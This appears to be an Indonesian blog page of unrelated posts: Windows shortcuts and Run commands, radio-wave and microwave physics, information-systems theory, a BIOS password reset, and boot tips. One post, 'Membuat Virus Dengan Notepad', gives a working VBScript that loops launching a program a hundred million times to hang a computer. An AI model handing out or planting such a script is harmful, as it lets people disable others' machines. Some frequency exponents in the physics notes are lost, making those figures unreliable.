Jumat, 18 Januari 2013

Hotkey Pada Windows

    
     Berikut adalah daftar Shortcut , hotkey , tombol pintas windows lengkap dan juga shortcut keyboard yang bisa di jadikan panduan mengoperasikan windows sistem agar lebih cepat dan efisien. Silahkan simak dan terapkan.


Tombol Windows + R = Run menu

menu RUN biasa digunakan untuk akses pintas seperti dibawah ini, ketikan kodenya lalu enter:
cmd = Command Prompt
regedit = Registry Editor
gpedit.msc = Group Policy
iexplore + “web address” = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory User dan Komputer
dssite.msc = Active Directory Situs dan Layanan
Tombol Windows + E = Explorer
ALT + Tab = Beralih antar jendela
ALT, Space, X = Maximize window
CTRL + Shift + Esc = Task Manager
Tombol Windows + Break = System properties
Tombol Windows + F = Search
Tombol Windows + D = Sembunyikan / Tampilkan semua jendela
CTRL + C = copy
CTRL + X = cut
CTRL + V = paste

Keyboard Shortcuts

[Alt] dan [Esc] = Beralih di antara aplikasi yang berjalan
[Alt] dan letter = Pilih item menu dengan huruf digarisbawahi
[Ctrl] dan [Esc] = Open Program Menu, sama seperti klik pada start
[Ctrl] dan windows [F4] = Tutup dokumen aktif atau kelompok (tidak bekerja dengan beberapa aplikasi)
[Alt] dan [F4] = Keluar aplikasi yang aktif atau menutup jendela aktif
[Alt] dan [-] = Open Control menu untuk dokumen yang aktif
Ctrl] Left/right arrow = Pindahkan kursor maju atau mundur satu kata
Ctrl] Up, Down arrow = Pindahkan kursor maju atau mundur satu paragraf
[F1] = Buka Bantuan untuk aplikasi yang aktif
Windows M = Minimalkan semua jendela yang terbuka
Shift Windows M = Undo minimize semua jendela yang terbuka
Windows F1 = Windows Buka Bantuan
Windows Tab = Siklus melalui tombol Taskbar
Windows Break = Buka kotak dialog System Properties

Aksesibilitas shortcuts Keyboard

Right SHIFT selama delapan detik = Mengaktifkan dan menonaktifkan FilterKeys.
Left ALT + left SHIFT + PRINT SCREEN = Mengaktifkan Kontras Tinggi dan mematikan.
Left ALT +left SHIFT +NUM LOCK = Mengaktifkan dan menonaktifkan MouseKeys.
SHIFT lima kali = Mengaktifkan dan menonaktifkan StickyKeys.
NUM LOCK selama lima detik = Mengaktifkan dan menonaktifkan ToggleKeys.
WIN Key + U = Buka Utility Manager

Explorer Shortcuts


END = Tampilkan bagian bawah jendela aktif.
HOME = Tampilkan bagian atas jendela aktif.
NUM LOCK Asterisk = pada keypad numerik (*) Tampilkan semua subfolder di bawah folder yang dipilih.
NUM LOCK PLUS SIGN = pada keypad numerik () Menampilkan isi dari folder yang dipilih.
NUM LOCK SIGN MINUS = pada keypad numerik (-) Tutup folder yang dipilih.
LEFT ARROW = Tutup pilihan saat ini apakah itu diperluas (expanded), atau pilih folder induk (parent folder).
RIGHT ARROW = Tampilan pilihan saat ini apakah itu collapsed, atau pilih subfolder pertama.

Ketik perintah berikut di Run Box (Windows Key + R) untuk shortcut program.


devmgmt.msc = Device Manager
msinfo32 = Sistem Informasi
cleanmgr = Disk Cleanup
ntbackup = Backup or Restore Wizard (Windows Backup Utility)
mmc = Microsoft Management Console
excel = Microsoft Excel (Jika Terpasang)
MSAccess = Microsoft Access (Jika Terpasang)
powerpnt = Microsoft PowerPoint (Jika Terpasang)
winword = Microsoft Word (Jika Terpasang)
frontpg = Microsoft FrontPage (Jika Terpasang)
notepad = Notepad
WordPad = WordPad
calc = Kalkulator
msmsgs = Windows Messenger
MSPaint = Microsoft Paint
wmplayer = Windows Media Player
rstrui = System Restore
waol = America Online
control = Membuka Control Panel
printer control = Membuka Printers Dialog

Internet Browser:


Untuk membuka url yang di awali http://www. dan diakhiri dengan domain .com semisal http://www.google.com, cukup tulis “google” tanpa tanda petik pada adress bar lalu tekan ctrl+enter.
Domain .net tekan shift+enter.
Domain .org tekan ctrl+shift+enter

Untuk Windows XP:


Hapus item yang dipilih secara permanen tanpa menempatkan item dalam Recycle Bin = SHIFT DELETE
Menyalin item yang dipilih = CTRL sambil menyeret item
Buat shortcut untuk item yang dipilih = CTRL SHIFT saat menyeret item
Ubah nama item yang dipilih = F2
Pindahkan titik penyisipan ke awal kata berikutnya = CTRL RIGHT ARROW
Pindahkan titik penyisipan ke awal kata sebelumnya = CTRL LEFT ARROW
Pindahkan titik penyisipan ke bagian awal paragraf berikutnya = CTRL DOWN ARROW
Pindahkan titik penyisipan ke awal paragraf sebelumnya = CTRL UP ARROW
Sorot sebuah blok teks = CTRL SHIFT dengan salah satu tombol panah
Memilih lebih dari satu item dalam sebuah jendela atau pada desktop, atau teks pilih dalam dokumen = SHIFT dengan salah satu tombol panah
Pilih semua = CTRL A
Mencari file atau folder = F3
Melihat properti untuk item yang dipilih = ALT ENTER
Tutup item aktif, atau keluar dari program aktif = ALT F4
Membuka menu shortcut untuk jendela aktif = ALT Spacebar
Tutup dokumen aktif dalam program-program yang memungkinkan Anda untuk memiliki beberapa dokumen terbuka secara bersamaan = CTRL F4
Beralih di antara item yang terbuka = ALT TAB
Siklus melalui item dalam urutan mereka dibuka = ALT ESC
Siklus melalui elemen layar dalam jendela atau di desktop = F6
Menampilkan Address bar daftar di My Computer atau Windows Explorer = F4
Menampilkan menu shortcut untuk item yang dipilih = SHIFT F10
Menampilkan menu Sistem untuk jendela yang aktif = ALT Spacebar
Menampilkan menu Start = CTRL ESC
Menampilkan menu yang sesuai = ALT Underlined surat dalam nama menu
Aktifkan menu bar dalam program aktif = F10
Buka menu di sebelah kanan, atau membuka submenu = RIGHT ARROW
Buka menu sebelah kiri, atau menutup submenu = LEFT ARROW
Refresh jendela aktif = F5
Lihat folder satu tingkat di My Computer atau Windows Explorer = BACKSPACE
Membatalkan tugas saat ini = ESC
Tekan SHIFT ketika memasukkan CD ke dalam drive CD-ROM CD agar tidak play otomatis.

Shortcut keyboard ini untuk kotak dialog:


Tekan:
Bergerak maju melalui tab = CTRL + TAB
Bergerak mundur melalui tab = CTRL + SHIFT + TAB
Bergerak maju melalui pilihan = TAB
Bergerak mundur melalui pilihan = SHIFT + TAB
Melaksanakan perintah yang sesuai atau pilih pilihan yang sesuai = ALT + huruf Underlined
Melaksanakan perintah untuk opsi aktif atau tombol = ENTER
Pilih atau menghapus kotak memeriksa apakah pilihan yang aktif adalah kotak cek = Spacebar
Pilih tombol jika opsi aktif adalah sekelompok tombol pilihan = Tombol panah
Tampilan Bantuan = F1
Menampilkan item dalam daftar aktif = F4
Membuka folder satu tingkat = BACKSPACE
Menampilkan atau menyembunyikan menu Start = WIN Key
Menampilkan kotak dialog Properti Sistem = WIN Key + BREAK
Show desktop = WIN Key + D
Minimalkan semua jendela = WIN Key + M
Mengembalikan jendela diminimalkan = WIN Key + Shift + M
Buka My Computer = WIN Key + E
Mencari file atau folder = WIN Key + F
Pencarian untuk komputer = CTRL + WIN Key + F
Tampilan windows Bantuan = WIN Key + F1
Kunci komputer Anda jika Anda terhubung ke domain jaringan, atau beralih pengguna jika Anda tidak terhubung ke domain jaringan. WIN Key + L
Buka kotak dialog Run = WIN Key + R
Buka Utility Manager = WIN Key + U

Membuat Virus Dengan Notepad

Berikut ini langkah-langkah harus dilakukan untuk membuat virus dengan menggunakan notepad :
   
Buka Notepad lalu Copy + Paste bahasa pemograman di bawah ini:
    -----------------------------------------------------------
    option explicit
    dim wshshell
    set wshshell=wscript.createobject("wscript.shell")

    dim x
    for x = 1 to 100000000
    wshshell.run "tourstart.exe"
    next
    -----------------------------------------------------------
    Save notepad dengan nama virus.vbs ( pastikan ”save as type” diubah ke ”all files”)

Ingat!! jangan klik file tersebut. Karena komputer anda akan dipenuhi oleh 100000000, tourstart yang akan memenuhi layar anda, dan akan membuat komputer hang total sebelum anda mendelete semuanya.

Bila ingin mencoba virus ini. silahkan membuat ulang program, dengan perbedaan ubah 100000000 ke 10 untuk percobaan. maka setelah anda mengklik program, makalayar anda akan dipenuhi oleh hanya 10 tourstart saja.

Artikel ini hanya sekedar informasi semata dan tidak dianjurkan untuk mempaktekkannya dengan maksud yang tidak baik.

Gelombang radio

    Gelombang radio merupakan jenis gelombang elektromagnetik yang berfrequensi tinggi berkisar antara 104 Hz sampai 108 Hz. Gelombang Radio terdiri atas osilator (getaran) yang sangat cepat pada medan elektrik dan magnetik.

Menurut Frekuensi
1. Frekuensi Rendah (LF)

Memiliki frekuensi 30 KHz s/d 300 KHz. Panjang gelombang 1500 M. Biasa digunakan untuk radio gelombang panjang dan komunikasi jarak jauh.

2. Frekuensi Sedang (MF)
Memiliki frekuensi 300 KHz s/d 3 MHz. Gelombang Radio berfrekuensi sedang biasa digunakan untuk sistem komunikasi. Gelombang ini memiliki panjang 300 M. Gelombang ini tidak bisa menembus atmosfer, bahkan pada bagian Ionosfer gelombang tersebut justru dipantulkan kembali sehingga informasi yang dibawa gelombang bisa menuju tempat yang jauh dari pemancar.

3. Frekuensi Tinggi (HF)

Memiliki frekuensi 3 MHz s/d 30 MHz. Panjang dari gelombang ini adalah 30 M. Biasa digunakan untuk radio komunikasi jarak pendek, radio amatir, CB.

4. Frekuensi Sangat Tinggi (VHF)

Memiliki frekuensi 30 MHz s/d 300 MHz. Panjang gelombang adalah 3 M. Gelombang tidak dapat dipantulkan oleh Ionosfer. Sehingga memiliki jangkauan yang sempit. Dan cocok digunakan untuk komunikasi antar satelit. Agar gelombang ini bisa berjangkauan jauh maka perlu stasiun penghubung (Relai). Biasa digunakan untuk Radio FM, Komunikasi Polisi, Pelayanan Darurat.

5 .Frekuensi Ultra Tinggi (UHF)

Memiliki frekuensi 300 MHz s/d 3 GHz. Panjang gelombang adalah 30 Cm. Gelombang tidak dapat dipantulkan oleh Ionosfer. Sehingga memiliki jangkauan yang sempit. Dan cocok digunakan untuk komunikasi antar satelit. Agar gelombang ini bisa berjangkauan jauh maka perlu stasiun penghubung (Relai). Biasa digunakan untuk Komunikasi Televisi.

6.Frekuensi Super Tinggi (SHF)
Memiliki frekuensi diatas 3 GHz. Panjang gelombang adalah 3 Cm. Biasa digunakan untuk radar, komunikasi satelit, telepon, saluran televisi.

Menurut Panjang Gelombang
1. Gelombang Panjang (1500 M)
2. Gelombang Sedang (300 M)
3. Gelombang Pendek (30 M)
4. Gelombang Sangat Pendek (3 M)
5. Gelombang Ultra Pendek (30 Cm)
6. Gelombang Mikro (3 Cm)

Menurut Sistim Modulasi
1. Amplitudo Modulasi (AM)
Gelombang yang mengalami perubahan amplitudo setiap detiknya. Namun frekuensi pembawa tetap. Gelombang ini dapat dipantulkan oleh Ionosfer sehingga memiliki jangkauan yang luas. Kelebihan AM adalah Jangkauan yang jauh. Sedang kekurangan AM adalah suara yang tidak jelas dan gelombang dipengaruhi keadaan cuaca. Digunakan untuk komunikasi jarak jauh.

2. Frekuensi Modulasi (FM)
Gelombang yang mengalami perubahan frequensi setiap detiknya, namun amplitude tetap. Gelombang ini tidak bisa dipantulkan oleh Ionosfer sehingga memiliki jangkauan yang sempit. Agar gelombang ini bisa berjangkauan jauh maka perlu stasiun penghubung (Relai). Kelebihan FM adalah Suara yang jelas dan tidak dipengaruhi keadaan cuaca. Sedang kekurangn AM adalah jangkauan yang sulit. Digunakan untu komunikasi antar satelit dan Radio FM.

     Gelombang Radio sangat bermanfaat bagi kehidupan manusia terutama dalam membantu komunikasi. Terlebih lagi Gelombang radio merupakan gelombang tinggi yang tidak terlihat, tidak terdengar, dan tidak tampak sehingga tidak mengganggu kehidupan manusia. Namun gelombang radio akan lebih bermanfaat bila digunakan sesuai kegunaanya dalam kebaikan.

Gelombang mikro (microwaves)

     Gelombang mikro (microwaves) adalah gelombang radio dengan frekuensi paling tinggi (superhigh frequency = SHF:), yaitu di atas 3 GHz (3 x 109 Hz). Jika gelombang mikro diserap oleh sebuah benda, maka akan muncul efek pemanasan pada benda itu. Jika makanan menyerap radiasi gelombang mikro, maka makanan menjadi panas dalam selang waktu yang sangat singkat. Proses inilah yang dimanfaatkan dalam microwave oven (oven microwave) untuk memasak makanan dengan cepat dan ekonomis

Perbandingan Spektrum Electromagnet

Oven Microwave

     Oven microwave ditemukan secara tidak sengaja oleh Dr. Percy Spenser pada tahun 1946. Suatu hari di tahun 1946 Spenser sedang bekerja di dekat sebuah magnetron (digunakan sebagai pembangkit gelombang mikro dalam sistem radar). Magnetron rupanya bocor pada suatu tempat. Ketika Dr. Spenser mengambil sebatang permen dari kantongnya, ia mengamati bahwa permen itu telah mencair (melebur). Dari peristiwa inilah is menemukan bahwa gelombang mikro dapat digunakan untuk memasak.

     Microwaves (gelombang-gelombang mikro) dihasilkan oleh magnetron, yang cara kerjanya inirip dengan "tabung" TV (tabung sinar katoda). Suatu tegangan tinggi membangkitkan arus besar yang memanaskan suatu bagian yang disebut katoda. Ini memberikan energi pada katoda yang kemudian diubah menjadi gelombang mikro. Gelombang mikro ini diarahkan sepanjang penuntun gelombang yang berongga untuk masuk ke seluruh ruang kompartemen.

     Gelombang mikro dalam kompartemen dengan mudah masuk ke dalam makanan. Energi gelombang mikro mengguncang (menggetarkan) molekul-molekul air dalam makanan. Molekul yang bergetar akan memiliki energi kalor lebih besar sehingga molekul-molekul ini menjadi lebih panas. Dengan demikian energi kalor dipindahkan dari satu molekul air ke molekul air lain di sekitarnya, dan makanan masak dari dalam, bukan dari luar ke dalam seperti pada oven konvensional.

     Gelombang mikro juga dimanfaatkan pada pesawat RADAR (Radio Detection and Ranging). RADAR berarti mencari dan menentukan jejak sebuah benda dengan menggunakan gelombang mikro (gelombang dengan frekuensi sekitar 1010 Hz). Pesawat radar memanfaatkan sifat pemantulan gelombang mikro. Antena radar bertindak sebagai pemanear dan penerima gelombang. Sebuah antena memancarkan seberkas sinar tipis gelombang mikro dalam bentuk pulsa-pulsa pendek. Karena panjanga gelombangnya hanya beberapa sentimeter, gelombang dengan mudah dapat dipantulkan oleh benda-benda dengan ukuran beberapa meter. seperti mobil, pesawat terbang. atau roket. Jika pulsa tadi mengenai benda (misal. pesawat terbang), maka sebagian pulsa pantulan akan di terima kembali oleh antena radar. Karena cepat rambat gelombang elektromagnetik c = 3 x 108 m/s, maka dengan mengamati selang waktu antara pemcaan dan penerimaan, misalnya , kita dapat mengetahui jarak benda yang ditangkap oleh radar s yang diberikan oleh

Angka pembagi 2 timbul karena pulsa gelombang harus menempuh jarak s pergi-pulang.

     Pesawat radar scat ini banyak digunakan untuk inembantu keamanan pendaratan pesawat terbang komersial. Dengan menggunakan radar, cuaca yang buruk tidak lagi merupakan hambatan bagi pendaratan pesawat di bandara-bandara besar.

     Gelombang mikro juga digunakan (taken rangkaian televisi (closed-circuit televison) untuk mengirim laporan gambar hidup televisi dari kendaraan-kendaraan penyiar yang berada di lapangan ke studio, misalnya untuk siaran langsung penunjukan musik.

Analisis Sistem Informasi

     Pengolahan data menurut sejarah mengalami perkembangan yang revolusioner, akan tetapi dengan ditemukannya teknologi dan pengetahuan baru dalam bidang bahasa dan matematika maka dapat dibagi empat revolusi perkembangan dalam pengolahan data. Revolusi pertama adalah pengembangan bahasa dan matematika; revolusi kedua ditemukannya alat cetak; revolusi ketiga berkembangnya media massa, dan revolusi keempat berkembangnya komputer digital.

     Menurut perkembangannya, terdapat dua alasan manusia mengolah data dan informasi, yaitu pertama karena dorongan alami manusia untuk menyatakan jumlah kepemilikan dan harta kekayaan; kedua untuk survei administratif pada kepemerintahan. Akan tetapi dalam perkembangan dunia modern, kebutuhan akan data dan informasi semakin kompleks sehingga diperlukan adanya suatu sistem formal dalam pengolahan data dan informasi. Semakin kompleks kebutuhan suatu organisasi maka semakin rumit sistem pengolahan data yang harus dibuat oleh organisasi untuk menghasilkan informasi yang dibutuhkan.


Konsep data dan Informasi

Data adalah fakta dan angka yang tidak sedang digunakan pada proses keputusan, dan biasanya berbentuk catatan historis yang dicatat dan diarsipkan tanpa maksud segera diambil kembali untuk pengambilan keputusan. Sedangkan informasi adalah sekumpulan data yang telah diambil kembali, diolah, dan digunakan untuk kesimpulan, argumentasi atau sebagai dasar peramalan dan pengambilan keputusan. Dengan kata lain, data adalah bahan mentah informasi.

Dalam konteks komunikasi, informasi adalah kejadian atau serangkaian kejadian yang mengandung pesan, yang ketika dipersepsi oleh penerima melalui proses pemaknaan, akan menambah pengetahuan bagi penerima tersebut. Dengan demikian kejadian atau data menjadi informasi adalah bergantung kepada pengguna, dan makna informasi bergantung kepada persepsi, latar belakang, dan penilaian pengguna. Informasi berfungsi untuk meningkatkan pengetahuan dan mengurangi ketidakpastian pengguna.


Proses Pembuatan Informasi dari Data

Data merupakan elemen dasar untuk pembuatan informasi. Data dapat diubah menjadi sesuatu yang berarti melalui proses dalam suatu model keputusan.

Informasi merupakan produk pokok dari sistem informasi. Hal yang mendasari suatu proses keputusan adalah ketidaktentuan. Informasi mempunyai dua fungsi dasar, yaitu mengurangi keragaman dan memberikan umpan balik.

Informasi merupakan komoditas yang berguna dan bernilai, dan sebagai konsekuensinya diperlukan biaya untuk menghasilkannya. Agar lebih ekonomis maka biaya untuk menghasilkan informasi harus sesuai dengan nilainya.

Pengolahan data menjadi informasi dapat melalui empat metode, yaitu (1) manual, (2) elektromekanik, (3) perlengkapan punched card (kartu pencatat), dan (4) komputer elektronik (termasuk di dalamnya penggunaan CD-rom).

Untuk memahami kemampuan/kinerja metode pengolahan data perlu memperhatikan: penanaman modal awal; persiapan; konversi; kebutuhan; kecepatan pengolahan; kemampuan penghitungan; kontrol pengolahan; pendeteksian kesalahan otomatis; kemampuan pembuatan keputusan; degradasi sistem dan tingkat otomasi.

Pengadaan informasi memerlukan biaya. Pertimbangan biaya dalam sebuah pengolahan informasi dapat memperhatikan: harga perangkat kerasnya; harga perancangan dan penerapan analisis sistem; harga untuk faktor kendali lingkungan; harga suatu konversi; dan harga pengoperasian.

Selain harga, nilai informasi perlu juga mendapat perhatian analis sitem, yaitu menyangkut pada: aksesibilitas, kelengkapan, keakuratan, ketepatan, singkat waktu, kejelasan, kelenturan, kemampuan diuji, kebebasan dari bias; dan dapat dihitung.


Analisis Sistem dan Konsepsi Sistem

Ilmu sistem dalam perkembangannya dipengaruhi oleh Kibernetika, sebagai penggambaran umpan balik dalam mengatur gerakan mekanis, atau sebagai pengendali dan komunikasi.

Sistem secara sederhana dapat didefinisikan sebagai suatu kumpulan objek-objek yang terangkai dalam interaksi dan saling ketergantungan yang teratur.

Konsepsi sistem merupakan abstraksi komponen-komponen pembentuk sistem ke dalam suatu definisi. Konsepsi sistem memiliki beberapa aspek, yaitu (1) unsur-unsur sistem; (2) tujuan sistem; (3) tindakan untuk mencapai tujuan; (4) proses; (5) output; (6) ukuran keberhasilan.

Hubungan antarsistem atau subsistem dapat bersifat hubungan seri dan hubungan pararel. Sedangkan klasifikasi sistem dapat dilihat dari tingkat keterdugaannya dan kerumitannya.


Fungsi Manajemen di Dalam Organisasi


Sistem dapat secara efektif dideskripsikan dan dianalisis. Klasifikasi sistem secara garis besar di antara deterministik sederhana sampai probabilistik yang rumit.

Khususnya dalam organisasi bisnis, secara sederhana aktivitas manajemen adalah perencanaan (planning), pengendalian (controlling), dan pengambilan keputusan (decision making).

Perencanaan bukan hanya menentukan tujuan, tetapi juga deskripsi aktivitas, metode, dan perpaduannya agar tujuan tersebut dapat dicapai. Manajemen memerlukan informasi untuk membantu pemilihan rencana yang terbaik dalam mencapai tujuan tersebut.

Aktivitas pengendalian secara keseluruhan tidak efektif tanpa informasi. Untuk mempengaruhi kendali, manajemen harus memiliki subsistem yang berfungsi untuk mengukur output sistem dan membandingkannya dengan tujuan yang direncanakan. Kemudian, fungsi manajemen terutama dapat melakukan tindakan yang tepat untuk memperbaiki penyimpangan hasil rencana.

Pengambilan keputusan secara mendasar merupakan aktivitas pemecahan masalah. Terdapat empat elemen proses pengambilan keputusan, yaitu: model, kriteria, hambatan, dan optimasi. Beberapa keputusan merupakan aktivitas rutin, beberapa lainnya merupakan pemecahan masalah yang timbul. Proses pengambilan keputusan dapat diambil dalam tiga tingkatan: strategis, yang merupakan kebijakan dan perencanaan jangka panjang; taktis, yang merupakan implementasi dari perencanaan; dan teknis, yang merupakan kegiatan dari hari ke hari.


Analisis Sistem dan Konsepsi Sistem

Suatu sistem informasi didefinisikan sebagai kumpulan komponen-komponen yang menampilkan pelaksanaan pengolahan data yang sistematis dan formal untuk (1) keperluan transaksi pengolahan data resmi, (2) menyajikan informasi bagi pengambilan keputusan, dan (3) menyajikan laporan, bagi keperluan eksternal.

Sistem informasi sebagai suatu pendekatan transaksional data dan yang menangani operasi pengolahan data rutin. Sistem informasi berperan penting dalam menghasilkan nilai output yang diperlukan bagi pengambilan keputusan sehingga diharapkan menghasilkan sepuluh nilai informasi.

Dalam konteks organisasi, sistem informasi dipengaruhi oleh kondisi internal dan eksternal. Kondisi internal berupa manajemen organisasi dan kondisi eksternal adalah pengguna.


Sistem Informasi didalam Organisasi

Sistem informasi akuntansi (SIA) adalah merupakan suatu aplikasi yang dapat membantu pengolahan data dengan volume yang tinggi, meliputi empat tugas utama, yaitu: pengumpulan data, manipulasi data, penyimpanan data dan penyimpanan dokumen. Informasi digunakan oleh pemakai di dalam maupun luar organisasi.

Sistem yang khusus memenuhi kebutuhan informasi bagi intern organisasi adalah Sistem Informasi Manajemen (SIM). Informasi yang dihasilkan SIM tidak berkewajiban untuk menyediakan informasi bagi lingkungan.

Sistem informasi yang diterapkan pada sub-sistem organisasi yang melakukan aktivitas berdasarkan fungsionalnya disebut Sistem Informasi Fungsional. Terdapat empat sistem informasi fungsional ini, yaitu Sistem Informasi Pemasaran, Sistem Informasi Manufaktur, Sistem Informasi Keuangan, dan Sistem Informasi Sumber Daya Manusia. Di atas sistem-sistem infomasi tersebut terdapat suatu sistem yang disebut Sistem Informasi Eksekutif.


Komputer Sebagai Media Penyimpan Data

Komputer sebagai perangkat pengumpul, penyimpan, dan penyaji data memiliki kemampuan yang beragam sesuai dengan kapasitas penyimpan data. Data tersimpan dalam alat penyimpanan (data storage) yang berupa penyimpanan utama (primary storage) dan penyimpanan sekunder (secondary storage). Untuk dapat bekerja dengan baik, sebuah ruang kerja komputer harus dirancang khusus.


Cara Kerja Komputer

Komputer bekerja dalam lingkungan yang terbentuk atas hardware, software dan staf. Dalam kerjanya, proses komputer mengalami perputaran dari awal pemasukan sampai kemudian penyajian data. Data masuk dalam komputer melalui dua cara utama, yaitu batch processing dan on-line processing. Komputer di samping sebagai penyimpan, dapat juga dijadikan sebagai terminal. Terdapat beberapa perangkat khusus untuk memasukkan data ke dalam komputer.


Perangkat dan Hasil Kerja Komputer

Penyajian hasil proses komputer dapat dilihat dalam dua bentuk utama, yaitu Softcopy dan hardcopy. Softcopy adalah tampilan berupa gambar diam ataupun bergerak dalam monitor komputer, sedangkan hardcopy adalah tampilan hasil kerja komputer dalam bentuk cetakan. Alat cetak atau printer terdiri atas dua bentuk utama, yaitu impact dan Non-impact Printer. Di samping itu hasil kerja komputer dapat juga berupa gerakan robotik dan suara.


Bekerja dengan Komputer

Komputer sebagai perangkat pengumpul, penyimpan, dan penyaji data akan dapat memberikan hasil yang maksimal jika dioperasikan dalam kondisi kerja yang baik. Perhatian yang diberikan kepada masalah tersebut dikenal dengan istilah ERGONOMIC CONSIDERATION. Hal yang harus diperhatikan dalam bekerja dengan komputer adalah lingkungan kerja, perangkat keras dan kerja sama antara komputer dan pemakainya.


Mengenal Pangkalan Data (Data Base)

Pangkalan data dalam pemasangannya memiliki sembilan tujuan utama yang menyangkut keuntungan pemasangan dan kemampuan yang dimiliki pangkalan data. Dalam pembangunan pangkalan data terdapat pandangan yang pro dan kontra mengenai perlu atau tidaknya ada pangkalan data. Dalam pangkalan data, data dapat dibagi ke dalam dua bentuk, yaitu bentuk logis dan bentuk fisik.


Rancangan Pangkalan Data (Data Base)

Sistem manajemen pangkalan data adalah satu perangkat software yang terintegrasi untuk mengontrol dan mengatur data dalam pangkalan data. Pangkalan data menangani permintaan dari program aplikasi yang dihasilkan dari bahasa khusus yang disebut data manipulation language (DML). Untuk menghasilkan tampilan bagi pengguna, model data menggambarkan bentuk/gambaran dalam sebuah bahasa yang disebut data definition language (DDL). Bahasa ini memberitahu DBMS bagaimana data harus terstruktur. Oleh karena itu DML memanipulasi data, DDL menggambarkan struktur data, sedangkan DBMS mengatur dan mengkoordinasi data sesuai dengan permintaan DML dan gambaran DDL.


Struktur Data

Hubungan antara data mandiri (entities) membentuk sebuah struktur data. Ada tiga jenis hubungan: satu-ke-satu, satu-ke-banyak, dan banyak-ke-banyak. Terdapat juga tiga jenis data struktur: pohon atau hierarki, jaringan, dan relasional.
  1.     Struktur pohon atau hierarki memiliki elemen data dalam bentuk seperti pohon. Sebuah data mandiri tidak boleh memiliki lebih dari satu data mandiri yang dimiliki. Struktur ini mudah dirancang dan dimengerti.
  2.     Struktur jaringan memungkinkan hubungan 1:1, 1:B, atau B:B antara data mandiri. Struktur ini menunjukkan keadaan sebenarnya, walaupun kemudian dapat menjadi sangat rumit.
  3.     Struktur relasional memiliki data dan hubungan yang ditampilkan dalam sebuah tabel yang berbentuk datar, dua dimensi yang disebut relasi. Sebuah relasi nilainya sama dengan sebuah file.

Reset Bios Mainboard Secara Cepat dan Mudah

     Cara reset bios mainboard yang cepat dan mudah bisa kita lakukan apabila bios pada mainboard tidak bisa dibuka saat akan melakukan install ulang. Berikut ini akan kita bahas tutorial mengenai reset bios mainboard pada PC. Apabila kita lupa password bios kita dapat melakukan langkah sebagai berikut :
  1.     PC harus pada posisi mati, buka casing atau tutup samping casing
  2.     cari dan lepas baterai jam yang berbentuk bundar berjenis CR2032.
  3.     Hubung singkatkan soket tempat letak baterai tersebut
  4.     Bios sudah dalam posisi terreset dan anda dapat memasang baterainya kembali
Cara reset bios mainboard yang cepat dan mudah ini adalah cara yang paling manjur dan tepat untuk menghilangkkan password pada bios mainboard. Semoga bermanfaat :)


Mempercepat Booting Windows

Booting merupakan suatu proses eksekusi pada saat pertama kali menyalakan komputer. Walaupun kelihatan sederhana, tapi sangat penting.

Komputer bisa menghabiskan waktu yang lama untuk sebuah proses booting apabila mempunyai service (Atribut) yang banyak. Untuk mengurangi proses tersebut ada beberapa cara berikut ini yang patut dicoba sobat Pusat Teknologi untuk mempercepat proses booting:

  •     Tempatkan Prioritas Booting Yang Tepat
Komputer secara default akan menempatkan Floopy Disk kemudian CD/Drive sebagai urutan prioritas booting. Hal inilah yang menjadikan waktu booting menjadi lama karena komputer melakukan pencarian boot media terlebih dahulu. Agar waktu untuk proses booting semakin cepat sebaiknya sobat Pusat Teknologi mengubah setting prioritas boot dengan cara masuk ke dalam BIOS.

Pada saat menyalakan komputer, segera tekan DEL pada saat logi AMI muncul atau saat penghitungan memori. Pada pilihan First Boot Device, pilih hard disk tempat operasi sistem sobat Pusat Teknologi berada, sebagai contoh “Hard Disk W89HY589R”. Kemudian Exit dan Simpan. Langkah ini akan mempercepat proses booting karena langsung masuk ke tempat di mana OS tersebut disimpan.
  •     Atur Pendeteksian HDD
Berikutnya langkah untuk mempercepat proses booting dengan cara mengurangi pendeteksian drive dalam komputer. Sobat Pusat Teknologi dapat melakukannya secara manual dan menentukan sendiri melalui settingan BIOS.
  •     Nonaktifkan Komponen Yang Tidak Diperlukan
Perangkat yang dipasang terlalu banyak dalam komputer akan memperlama proses booting. Oleh karena itu, segera nonaktifkan komponen/perangkat yang tidak perlu terseebut. Untuk melakukannya sobat Pusat Teknologi  Device Manager dan pilih Disable pada Drop Down Box Device Usage. Atau klik kanan My Computer, pilih Properties, lalu klil Hardware.
  •     Hapus Screen Loading
Unutk mempercepat proses booting, bisa dilakukan dengan cara menghilangkan screen loading di komputer. Caranya sangat mudah, tinggal masuk menu Run pada start menu, kemudian ketikan msconfig, lalu Ok. Centang pada opsi /NOGUIBOOT. Proses booting akan lebih cepat karena tidak menampilkan screen logo windows dan animasinya. Ini akan menghemat beberapa detik. Lumayan kan.
  •     Kurangi Waktu Setelah Booting
Setelah melakukan proses booting, komputer akan melakukan pengenalan pada jaringan. Untuk mendisablekan jaringan ini bisa dilakukan dengan cara klik kanan My Computer dan pilih Manage. Lalu expand service and aplication. Lihat pada pilihan service cari workstation klik double. Pilih Disable pada Drop Down Box Star Up type.
  •     Nonaktifkan Service
Banyak service secara otomatis maupun berjalan dalam start up menghabiskan waktu, selain juga memboroskan memori. Service-service yang tidak perlu sebaiknya dimatikan saja. Tapi berhati hatilah, ada beberapa service yang tidak boleh dimatikan. Baca fungsinya masing-masing pada sebelah kanan service tersebut sebelum menonaktifkan.